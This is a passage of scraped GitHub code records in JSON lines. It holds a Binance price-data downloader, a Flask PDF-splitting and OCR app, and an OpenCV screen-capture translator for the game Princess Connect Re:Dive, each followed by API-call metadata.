"API_Keys.Llaves_ChatGPT_Bard_etc", "line_number": 879, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 887, "usage_type": "attribute"}, {"api_name": "langchain.agents.load_tools", "line_number": 894, "usage_type": "call"}, {"api_name": "langchain.agents.initialize_agent", "line_number": 913, "usage_type": "call"}]}
{"seq_id": "792779949", "text": "import os\nimport sys\n\nfrom datetime import datetime, timedelta\n\ncurrentdir = os.path.dirname(os.path.realpath(__file__))\nparentdir = os.path.dirname(currentdir)\nsys.path.append(parentdir)\n\nfrom src.RESTClient import BinanceFuturesClient\nfrom src.DataHandler import DataHandler\nfrom src.Assets import Timeframes\n\n\ndef download(market: str, timeframe: str, delta: timedelta):\n\n    ec = BinanceFuturesClient()\n    dh = DataHandler(vd=False)\n\n    df = dh.aggregate_data(ec, market, timeframe,\n                           datetime(2017, 7, 14, 0, 0, 0, 0),\n                           delta)\n\n    path = './database/datasets/binance_futures/' + market + '/'\n    if not os.path.exists(path):\n        os.makedirs(path)\n\n    df.to_csv(path + timeframe + '.csv')\n\n\nbusd_markets = ['BTCBUSD', 'ETHBUSD', 'SOLBUSD', 'DOGEBUSD']\n\nfor market in busd_markets:\n    download(market, Timeframes.ONE_DAY.value, timedelta(days=999))\n    print(Timeframes.ONE_DAY.value + ' done! \\n')\n    download(market, Timeframes.FOUR_HOURS.value, timedelta(hours=3999))\n    print(Timeframes.FOUR_HOURS.value + ' done! \\n')\n    download(market, Timeframes.ONE_HOUR.value, timedelta(hours=999))\n    print(Timeframes.ONE_HOUR.value + ' done! \\n')\n\n    print(market + ' done! \\n')\n", "repo_name": "MarkusMusch/bot", "sub_path": "database/datapipeline.py", "file_name": "datapipeline.py", "file_ext": "py", "file_size_in_byte": 1242, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 15, "usage_type": "name"}, {"api_name": "src.RESTClient.BinanceFuturesClient", "line_number": 17, "usage_type": "call"}, {"api_name": "src.DataHandler.DataHandler", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 26, "usage_type": "call"}, {"api_name": "src.Assets.Timeframes.ONE_DAY", "line_number": 34, "usage_type": "attribute"}, {"api_name": "src.Assets.Timeframes", "line_number": 34, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 34, "usage_type": "call"}, {"api_name": "src.Assets.Timeframes.ONE_DAY", "line_number": 35, "usage_type": "attribute"}, {"api_name": "src.Assets.Timeframes", "line_number": 35, "usage_type": "name"}, {"api_name": "src.Assets.Timeframes.FOUR_HOURS", "line_number": 36, "usage_type": "attribute"}, {"api_name": "src.Assets.Timeframes", "line_number": 36, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 36, "usage_type": "call"}, {"api_name": "src.Assets.Timeframes.FOUR_HOURS", "line_number": 37, "usage_type": "attribute"}, {"api_name": "src.Assets.Timeframes", "line_number": 37, "usage_type": "name"}, {"api_name": "src.Assets.Timeframes.ONE_HOUR", "line_number": 38, "usage_type": "attribute"}, {"api_name": "src.Assets.Timeframes", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 38, "usage_type": "call"}, {"api_name": "src.Assets.Timeframes.ONE_HOUR", "line_number": 39, "usage_type": "attribute"}, {"api_name": "src.Assets.Timeframes", "line_number": 39, "usage_type": "name"}]}
{"seq_id": "22242073416", "text": "import os\r\nimport PyPDF2\r\nfrom flask import Flask, render_template, request, redirect, url_for, session,jsonify\r\nfrom flask_session import Session\r\nfrom PyPDF2 import PdfReader, PdfWriter\r\nfrom pdf2image import convert_from_path\r\nimport pytesseract\r\nfrom PIL import Image\r\nimport multiprocessing as mp\r\nimport cv2\r\nimport numpy as np\r\n\r\napp = Flask(__name__)\r\napp.config['PDF_file'] = 'PDF_file/'\r\napp.config['static'] = 'static/'\r\napp.config['split'] = 'split/'\r\napp.config['crop'] = 'crop/'\r\napp.config[\"SESSION_PERMANENT\"] = False\r\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\r\nSession(app)\r\napp.config[\"SECRET_KEY\"]=\"my key\"\r\n\r\npytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe'\r\n\r\nocr_results={}\r\n\r\n@app.route('/')\r\ndef index():\r\n    deleteFile(\"PDF_file\")\r\n    deleteFile(\"split\")\r\n    deleteFile(\"static\")\r\n    return render_template('home_pop.html')\r\n\r\n@app.route('/homepage')\r\ndef homepage():\r\n    return render_template('home_pop.html')\r\n\r\n\r\n@app.route('/region_selection')\r\ndef region_selection():\r\n    filename = request.args.get('filename')\r\n    return render_template('index.html', filename=filename)\r\n\r\ndef deleteFile(fileName):\r\n    mypath = fileName\r\n    for root, dirs, files in os.walk(mypath):\r\n        for file in files:\r\n            os.remove(os.path.join(root, file))\r\n\r\ndef splitPDF():\r\n    filename_list = []\r\n    input_path = os.listdir(app.config['PDF_file'])\r\n    for i, filename in enumerate(input_path):\r\n        if filename.split(\".\")[-1] == 'pdf':\r\n            pdf_file = os.path.join(app.config['PDF_file'], filename)\r\n            with open(pdf_file, 'rb') as file:\r\n                pdf_reader = PdfReader(file)\r\n                num_pages = len(pdf_reader.pages)\r\n                #num_pages=len(pdf_reader.pages)\r\n                for page_number in range(num_pages):\r\n                    pdf_writer = PdfWriter()\r\n                    # page = pdf_reader.getPage(page_number)\r\n                    page=pdf_reader.pages[page_number]\r\n                    # pdf_writer.addPage(page)\r\n                    pdf_writer.add_page (page)\r\n                    output_path = app.config['split']\r\n                    page_output_path = f\"{output_path}_{page_number+1}.pdf\"\r\n\r\n                    # Write the page to the output PDF file\r\n                    with open(page_output_path, 'wb') as output_file:\r\n                        pdf_writer.write(output_file)\r\n                    filename = f\"Page {page_number+1} saved as {page_output_path}\"\r\n                    filename_list.append(filename)\r\n    return filename_list\r\n\r\ndef convert2image():\r\n    filenames = os.listdir(app.config['split'])\r\n    image_filenames = []\r\n    for i, filename in enumerate(filenames):\r\n        if filename.split(\".\")[-1] == 'pdf':\r\n            image_filename = filename.split(\".\")[0]\r\n            file_ext = image_filename + \".jpg\"\r\n            image_filenames.append(file_ext)\r\n            # Store Pdf with convert_from_path function\r\n            split_filepath = os.path.join(app.config['split'], filename)\r\n            imag = convert_from_path(split_filepath, poppler_path=r'C:\\inetpub\\wwwroot\\ROI\\poppler-0.68.0\\bin')\r\n            image_path = os.listdir(app.config['static'])\r\n            image_path_final = os.path.join(app.config['static'], file_ext)\r\n            for image in imag:\r\n                image.save(image_path_final, \"JPEG\", optimize=True, quality=35)\r\n                image_url = image_path_final\r\n            image_filenames = sorted(image_filenames)\r\n    return image_filenames\r\n\r\n@app.route('/process_pdf', methods=['POST'])\r\ndef process_pdf():\r\n    # Get the uploaded PDF file\r\n    pdf_file = request.files['pdf_file']\r\n\r\n    # Specify the destination directory\r\n    destination_directory = app.config['PDF_file']\r\n\r\n    # Save the PDF file to the destination directory\r\n    pdf_file.save(os.path.join(destination_directory, pdf_file.filename))\r\n    #split the pdf with the function splitPDF() and wrap it with multiprocessing\r\n    pool1 = mp.Pool(mp.cpu_count())\r\n    output_filepath = pool1.apply_async(splitPDF())\r\n\r\n    #convert each pdf to image with the function convert2image() and wrap it with multiprocessing\r\n    pool2 = mp.Pool(mp.cpu_count())\r\n    image_filenames = pool2.apply_async(convert2image())\r\n    files = os.listdir(app.config['static'])\r\n    return render_template('home_pop.html', files=files)\r\n\r\n@app.route('/perform_ocr', methods=['POST'])\r\ndef perform_ocr():\r\n    \r\n    region_data = request.json\r\n    filename = region_data['filename']\r\n    startX = region_data['startX']\r\n    startY = region_data['startY']\r\n    endX = region_data['endX']\r\n    endY = region_data['endY']\r\n\r\n    # Load the image\r\n    image_path = os.path.join(app.config['static'], filename)\r\n    \r\n\r\n    region_ocr_text = perform_ocr_on_region(image_path, startX, startY, endX, endY)\r\n    \r\n\r\n    return {'text': region_ocr_text}\r\n\r\ndef perform_ocr_on_region(image_path, startX, startY, endX, endY):\r\n    # Load the image\r\n    image = Image.open(image_path)\r\n\r\n    # Crop the image based on the region coordinates\r\n    region = image.crop((startX, startY, endX, endY))\r\n\r\n    # Convert region to grayscale\r\n    region = region.convert('L')\r\n\r\n    # Denoise the image\r\n    denoised_image = cv2.fastNlMeansDenoising(np.array(region), h=10)\r\n    # Dilate the image\r\n    kernel = np.ones((2, 2), np.uint8)\r\n    dilated_image = cv2.dilate(denoised_image, kernel, iterations=1)\r\n\r\n\r\n\r\n    # Convert the processed image back to PIL Image\r\n    processed_region = Image.fromarray(dilated_image)\r\n\r\n    # Perform OCR on the processed region\r\n    ocr_text = pytesseract.image_to_string(processed_region)\r\n    \r\n    ocr_results = {\r\n        'text': ocr_text,\r\n        'coordinates': {\r\n            'startX': startX,\r\n            'startY': startY,\r\n            'endX': endX,\r\n            'endY': endY\r\n        }\r\n    }\r\n\r\n    print(ocr_results)\r\n    return ocr_text\r\n\r\n\r\n@app.route('/process_table', methods=['POST'])\r\ndef process_table():\r\n    table_data = request.get_json()\r\n    #print(\"Name : \",table_data['Name'])\r\n    # Process the table data as needed\r\n    # You can perform any required operations here\r\n    session['table_data'] = table_data\r\n    return redirect(url_for('get_data'))\r\n\r\n@app.route('/data')\r\ndef get_data():\r\n    table_data = session.get('table_data')\r\n    #print(\"Name2 : \",table_data['Name'])\r\n    # Process the data as needed\r\n    return render_template(\"report.html\",table_data=table_data)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n    app.run()", "repo_name": "dhanasekar1620/ROI", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 6516, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "flask_session.Session", "line_number": 20, "usage_type": "call"}, {"api_name": "pytesseract.pytesseract", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 42, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 46, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "PyPDF2.PdfReader", "line_number": 57, "usage_type": "call"}, {"api_name": "PyPDF2.PdfWriter", "line_number": 61, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "pdf2image.convert_from_path", "line_number": 86, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask.request.files", "line_number": 98, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 98, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "multiprocessing.Pool", "line_number": 106, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 106, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 110, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 110, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 112, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 118, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 118, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 136, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 136, "usage_type": "name"}, {"api_name": "cv2.fastNlMeansDenoising", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 147, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 148, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 153, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 153, "usage_type": "name"}, {"api_name": "pytesseract.image_to_string", "line_number": 156, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 174, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 174, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 178, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 179, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 179, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 183, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 183, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 186, "usage_type": "call"}]}
{"seq_id": "13233467943", "text": "import cv2 as cv\nimport googletrans\nimport numpy as np\nimport os\nfrom time import sleep, time\nfrom windowcapture import WindowCapture\nimport pytesseract\nfrom PIL import ImageFont, Image, ImageDraw\nfrom googletrans import Translator\nfrom translate import TranslateTool\nimport textwrap\nimport argparse\nfrom appconfig import *\n\nparser = argparse.ArgumentParser(description='Princess Connect Re:dive auto translate')\nparser.add_argument('--translate', nargs=\"?\" ,const=str, default=\"googleDict\",\n                    help='Select Translate endpoint, Available now : azure, ibm, googleModule, googleDict, default: googleDict')\nparser.add_argument('--data', nargs=\"?\" ,const=str, default=\"best\",\n                    help='Select language datapack, Available now : fast, medium, best')\n                                        \nargs = vars(parser.parse_args())\n# Change the working directory to the folder this script is in.\n# Doing this because I'll be putting the files from each video in their own folder on GitHub\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\n\n\ndef translate(img):\n    text = pytesseract.image_to_string(img, langdata).strip().replace(\" \", \"\").replace(\"。\", \"。 \").replace(\"〆\",\"\")\n\n    return text\n\nif args['data'] == 'fast':\n    print(\"Using fast detection\")\n    langdata = \"jpn1\"\nelif args['data'] == 'medium':\n    print(\"Using medium detection\")\n    langdata = \"jpn2\"\nelif args['data'] == 'best':\n    print(\"Using best detection\")\n    langdata = \"jpn\"\nelse:\n    pass\n# initialize the WindowCapture class\nwincap = WindowCapture('PrincessConnectReDive')\n\nloop_time = time()\ntext = \"Initial..\"\ntext1 = \"\"\nsel_text = \"\"\nsel_text_cmp = \"\"\nsel_text1 = \"\"\nsel_text_cmp1 = \"\"\n\nfontpath = 'C:\\Windows\\Fonts\\ARIAL.TTF'\nfont = ImageFont.truetype(fontpath, 18)\nwhile(True):\n\n    # get an updated image of the game\n    screenshot = wincap.get_screenshot()\n    \n\n    # kotak = cv.rectangle(screenshot, (0, 0), (808, 113), (255, 255, 255), -1)\n    img_pil = Image.fromarray(screenshot)\n    jendela = cv.imread(\"jendela.png\", cv.IMREAD_UNCHANGED)\n    # img_pil = Image.fromarray(screenshot)\n    img = np.array(img_pil)\n\n \n    position = (15, 10)\n    textbox1 = cv.imread(\"template/coba.png\", cv.IMREAD_UNCHANGED)\n    textbox2 = cv.imread(\"template/text_box2.png\", cv.IMREAD_UNCHANGED)\n    textbox3 = cv.imread(\"template/text_box4.png\", cv.IMREAD_UNCHANGED)\n    textbox4 = cv.imread(\"template/text_box5.png\", cv.IMREAD_UNCHANGED)\n    textbox5 = cv.imread(\"template/text_box1.png\", cv.IMREAD_UNCHANGED)\n    love_box = cv.imread(\"template/love_box.png\", cv.IMREAD_UNCHANGED)\n    charabox = cv.imread(\"template/charatextbox.png\", cv.IMREAD_UNCHANGED)\n    selection_red = cv.imread(\"template/selection.png\", cv.IMREAD_UNCHANGED)\n    selection_blue = cv.imread(\"template/selectionblu.png\", cv.IMREAD_UNCHANGED)\n\n\n    \n\n    img_edges = cv.Canny(screenshot,100,200,3,L2gradient=True)\n    tmplt_edges_txt = cv.Canny(textbox1,100,200,3,L2gradient=True)\n    tmplt_edges_txt2 = cv.Canny(textbox2,100,200,3,L2gradient=True)\n    tmplt_edges_txt3 = cv.Canny(love_box,100,200,3,L2gradient=True)\n    tmplt_edges_txt4 = cv.Canny(textbox3,100,200,3,L2gradient=True)\n    tmplt_edges_txt5 = cv.Canny(textbox4,100,200,3,L2gradient=True)\n    tmplt_edges_txt6 = cv.Canny(textbox5,100,200,3,L2gradient=True)\n    tmplt_edges_chara = cv.Canny(charabox,100,200,3,L2gradient=True)\n\n\n\n\n    tmplt_edges_red = cv.Canny(selection_red,100,200,3,L2gradient=True)\n    tmplt_edges_blue = cv.Canny(selection_blue,100,200,3,L2gradient=True)\n\n\n    result_txt = cv.matchTemplate(img_edges, tmplt_edges_txt, cv.TM_CCORR_NORMED)\n    result_txt2 = cv.matchTemplate(img_edges, tmplt_edges_txt2, cv.TM_CCORR_NORMED)\n    result_txt3 = cv.matchTemplate(img_edges, tmplt_edges_txt3, cv.TM_CCORR_NORMED)\n    result_txt4 = cv.matchTemplate(img_edges, tmplt_edges_txt4, cv.TM_CCORR_NORMED)\n    result_txt5 = cv.matchTemplate(img_edges, tmplt_edges_txt5, cv.TM_CCORR_NORMED)\n    result_txt6 = cv.matchTemplate(img_edges, tmplt_edges_txt6, cv.TM_CCORR_NORMED)\n    result_chara = cv.matchTemplate(img_edges, tmplt_edges_chara, cv.TM_CCORR_NORMED)\n\n\n\n\n    result_red = cv.matchTemplate(img_edges, tmplt_edges_red, cv.TM_CCORR_NORMED)\n    result_blue = cv.matchTemplate(img_edges, tmplt_edges_blue, cv.TM_CCORR_NORMED)\n\n\n    min_val, max_val, min_loc, max_loc = cv.minMaxLoc(result_txt)\n    min_val1, max_val1, min_loc1, max_loc1 = cv.minMaxLoc(result_txt2)\n    _,max_val4,_,max_loc4=cv.minMaxLoc(result_txt3)\n    _,max_val5,_,max_loc5=cv.minMaxLoc(result_txt4)\n    _,max_val6,_,max_loc6=cv.minMaxLoc(result_txt5)\n    _,max_val8,_,max_loc8=cv.minMaxLoc(result_txt6)\n    _,max_val7,_,max_loc7=cv.minMaxLoc(result_chara)\n\n\n\n\n\n    _,max_val2,_,max_loc2=cv.minMaxLoc(result_red)\n    _,max_val3,_,max_loc3=cv.minMaxLoc(result_blue)\n\n\n    # print(max_loc1, max_val1)\n    \n    height, width, channels = screenshot.shape\n    # print(height, width)\n    \n    w = textbox1.shape[1]\n    h = textbox1.shape[0]\n\n    w1 = textbox2.shape[1]\n    h1 = textbox2.shape[0]\n\n    w2 = selection_red.shape[1]\n    h2 = selection_red.shape[0]\n\n    w3 = selection_blue.shape[1]\n    h3 = selection_blue.shape[0]\n\n    w4 = love_box.shape[1]\n    h4 = love_box.shape[0]\n\n    w5 = textbox3.shape[1]\n    h5 = textbox3.shape[0]\n\n    w6 = textbox4.shape[1]\n    h6 = textbox4.shape[0]\n\n    w7 = charabox.shape[1]\n    h7 = charabox.shape[0]\n\n    w8 = textbox5.shape[1]\n    h8 = textbox5.shape[0]\n    threshold = 0.26\n    \n    # print(max_val8)\n\n    # print(cv.boundingRect(tes))\n    # print(tes.shape)\n    \n    # if max\n    \n    if max_val >= threshold and max_val < 0.4:\n        cv.rectangle(screenshot, max_loc, (max_loc[0] + w, max_loc[1] + h), (0, 198, 0), 2)\n        crop = img[(max_loc[1] + 45):max_loc[1] + (h-25), max_loc[0]+20:max_loc[0] +(w -30)]\n    elif max_val8 >= threshold and max_val8 < 0.6:\n        cv.rectangle(screenshot, max_loc8, (max_loc8[0] + w8, max_loc8[1] + h8), (0, 198, 0), 2)\n        crop = img[(max_loc8[1] + 15):max_loc8[1] + (h8-15), max_loc8[0]+15:max_loc8[0] +(w8 -20)]\n\n    elif max_val1 >= threshold and max_val1 < 0.4:\n        cv.rectangle(screenshot, max_loc1, (max_loc1[0] + w1, max_loc1[1] + h1), (0, 198, 0), 2)\n\n        crop = img[(max_loc1[1] + 45):max_loc1[1] + (h1-25) , max_loc1[0]+20:max_loc1[0] +(w1 -30)]\n    elif max_val4 >= threshold and max_val4 < 0.7:\n        cv.rectangle(screenshot, max_loc4, (max_loc4[0] + w4, max_loc4[1] + h4), (0, 198, 0), 2)\n\n        crop = img[(max_loc4[1] + 65):max_loc4[1] + (h4-50) , max_loc4[0]+55:max_loc4[0] +(w4 -55)]\n        # cv.imshow(\"test\", crop)\n    elif max_val5 >= threshold and max_val5 < 0.4:\n        cv.rectangle(screenshot, max_loc5, (max_loc5[0] + w5, max_loc5[1] + h5), (0, 198, 0), 2)\n\n        crop = img[(max_loc5[1] + 42):max_loc5[1] + (h5-25) , max_loc5[0]+30:max_loc5[0] +(w5 -30)]\n    \n    elif max_val5 >= threshold and max_val5 < 0.4:\n        cv.rectangle(screenshot, max_loc7, (max_loc7[0] + w7, max_loc7[1] + h7), (0, 198, 0), 2)\n\n        crop = img[(max_loc7[1] + 42):max_loc7[1] + (h7-25) , max_loc7[0]+30:max_loc7[0] +(w7 -30)]\n        # cv.imshow(\"test\", crop)\n    elif max_val7 >= 0.23 and max_val7 < 0.4:\n        cv.rectangle(screenshot, max_loc7, (max_loc7[0] + w7, max_loc7[1] + h7), (0, 198, 0), 2)\n        crop = img[(max_loc7[1] + 40):max_loc7[1] + (h7-10), max_loc7[0]+20:max_loc7[0] +(w7 -30)]\n        crop = cv.copyMakeBorder(crop, 0, 0, 500, 0, cv.BORDER_CONSTANT, None, 500)\n\n\n        # cv.imshow(\"test\", crop)\n    # print(max_val7)\n    if max_val2 >= 0.6:\n        cv.rectangle(screenshot, max_loc2, (max_loc2[0] + w2, max_loc2[1] + h2), (0, 198, 0), 2)\n\n        sel_red = img[(max_loc2[1]):max_loc2[1] + h2 , max_loc2[0]:max_loc2[0] + w2]\n        sel_red_black = cv.cvtColor(sel_red, cv.COLOR_BGR2GRAY)\n        (thresh, blackAndWhiteImage) = cv.threshold(sel_red_black, 127, 255, cv.THRESH_BINARY)\n \n        sel_text = translate(blackAndWhiteImage)\n        # print(sel_text)\n        # cv.imshow(\"test\", blackAndWhiteImage)\n        # print(max_val2)\n\n    if max_val3 >= 0.6:\n        cv.rectangle(screenshot, max_loc3, (max_loc3[0] + w3, max_loc3[1] + h3), (0, 198, 0), 2)\n\n        sel_blue = img[(max_loc3[1]):max_loc3[1] + h3 , max_loc3[0]:max_loc3[0] + w3]\n        sel_text1 = translate(sel_blue)\n        # print(sel_text1)\n\n        # print(max_val3)\n\n    # print(d)\n    # print(crop.shape)\n    # cv.imshow(\"aa\",tes)\n    # print(text)\n    try:\n        text = translate(crop)\n    except:\n        pass\n    if sel_text == \"\" or sel_text_cmp  == sel_text or sel_text == \"Initial..\":\n        pass\n    else:\n        if args['translate'] == \"disable\":\n            # print(namee)\n            pass\n        elif args['translate'] == \"googleDict\":\n            try:\n                sel_text_tl = TranslateTool.googleDict(sel_text)\n                sel_text_tl1 = TranslateTool.googleDict(sel_text1)\n                print(''.join([a for a in sel_text_tl]))\n                print(''.join([a for a in sel_text_tl1]))\n\n            except Exception as e:\n                print(e)\n                pass\n        elif args['translate'] == \"googleModule\":\n            text_tl = TranslateTool.googleModule(sel_text)\n            sel_text_tl1 = TranslateTool.googleModule(sel_text1)\n\n\n        elif args['translate'] == \"azure\":\n            if AZURE_SUBKEY == \"\":\n                print(\"Azure Translate need Key! Set at appconfig.py\")\n                exit()\n            elif AZURE_ENDPOINT == \"\":\n                print(\"Azure Translate need endpoint set! Change at appconfig.py\")\n                exit()\n            elif AZURE_LOCATION == \"\":\n                print(\"Azure Translate need location set! Change at appconfig.py\")\n                exit()\n            else:\n                sel_text_tl = TranslateTool.azure(sel_text)\n                sel_text_tl1 = TranslateTool.azure(sel_text1)\n\n        elif args['translate'] == \"ibm\":\n            sel_text_tl = TranslateTool.ibm(sel_text)\n            sel_text_tl1 = TranslateTool.ibm(sel_text1)\n\n        else:\n            print(\"Need translate argument!\")\n            exit()\n        try:\n            print(sel_text_tl)\n            select_red = cv.rectangle(sel_red, (0, 0), (808, 113), (255, 255, 255), -1)\n            select_redd = Image.fromarray(select_red)\n            select_red_draw = ImageDraw.Draw(select_redd)\n            select_red_offset = 10\n            try:\n                select_red_draw.text((15, 10), \"Selection Red : \" + ''.join([a for a in sel_text_tl]), font=font, fill=(0, 0, 0, 0))\n                select_red_draw.text((15, 30), \"Selection Blue : \" + ''.join([a for a in sel_text_tl1]), font=font, fill=(0, 0, 0, 0))\n\n            except:\n                select_red_draw.text((15, 30), \"Selection Blue : \" + ''.join([a for a in sel_text_tl1]), font=font, fill=(0, 0, 0, 0))\n        except:\n            pass\n        sel_text_cmp = sel_text\n        sel_text_cmp1 = sel_text1\n\n    \n\n    \n    if text == \"\" or text1 == text: \n        pass\n    else:\n\n        \n        # print(args)\n        \n\n        if args['translate'] == \"disable\":\n            # print(namee)\n            pass\n        elif args['translate'] == \"googleDict\":\n            text_tl = TranslateTool.googleDict(text)\n\n        elif args['translate'] == \"googleModule\":\n            text_tl = TranslateTool.googleModule(text)\n\n        elif args['translate'] == \"azure\":\n            if AZURE_SUBKEY == \"\":\n                print(\"Azure Translate need Key! Set at appconfig.py\")\n                exit()\n            elif AZURE_ENDPOINT == \"\":\n                print(\"Azure Translate need endpoint set! Change at appconfig.py\")\n                exit()\n            elif AZURE_LOCATION == \"\":\n                print(\"Azure Translate need location set! Change at appconfig.py\")\n                exit()\n            else:\n                text_tl = TranslateTool.azure(text)\n        elif args['translate'] == \"ibm\":\n            text_tl = TranslateTool.ibm(text)\n        else:\n            print(\"Need translate argument!\")\n            exit()\n\n        \n        # draw.text(position, coba, font=font, fill=(0, 0, 0, 0))\n        try:\n            d = cv.rectangle(crop, (0, 0), (808, 113), (255, 255, 255), -1)\n            dd = Image.fromarray(d)\n\n            \n\n            draw = ImageDraw.Draw(dd)\n            offset = 10\n            for texted in text_tl:\n                for line in textwrap.wrap( texted, width=80):\n\n                    draw.text((15, offset), line, font=font, fill=(0, 0, 0, 0))\n                    offset += font.getsize(line)[1]\n        except Exception as e:\n            # print(e)\n            pass\n        \n        text1 = text\n        \n        try:\n            print(text)\n        except:\n            pass\n    \n\n\n    try:\n        \n        if max_val >= threshold or max_val1 >= threshold or max_val4 >= threshold or max_val5 >= threshold or max_val6 >= threshold or max_val7 >= 0.23 or max_val8 >= threshold:\n            output = np.array(dd)\n\n            cv.imshow('Translated', output)\n        # if max_val2 >= threshold:\n        output_red = np.array(select_redd)\n        cv.imshow('selection', output_red)\n        # cv.imshow(\"aa\",screenshot)\n        # cv.imshow(\"a1a\",crop)\n    except Exception as e:\n        # print(e)\n        pass\n    # print(cv.getWindowImageRect('Computer Vision'))\n\n    # debug the loop rate\n    # print('FPS {}'.format(1 / (time() - loop_time)))\n    # loop_time = time()\n\n    # press 'q' with the output window focused to exit.\n    # waits 1 ms every loop to process key presses\n    if cv.waitKey(1) == ord('q'):\n        cv.destroyAllWindows()\n        break\n    # sleep(2)\nprint('Done.')\n", "repo_name": "NexiaMoe/priconne-auto-translate", "sub_path": "run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 13560, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 24, "usage_type": "call"}, {"api_name": "pytesseract.image_to_string", "line_number": 28, "usage_type": "call"}, {"api_name": "windowcapture.WindowCapture", "line_number": 44, "usage_type": "call"}, {"api_name": "time.time", "line_number": 46, "usage_type": "call"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 55, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 55, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 63, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 63, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 70, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 71, "usage_type": "call"}, 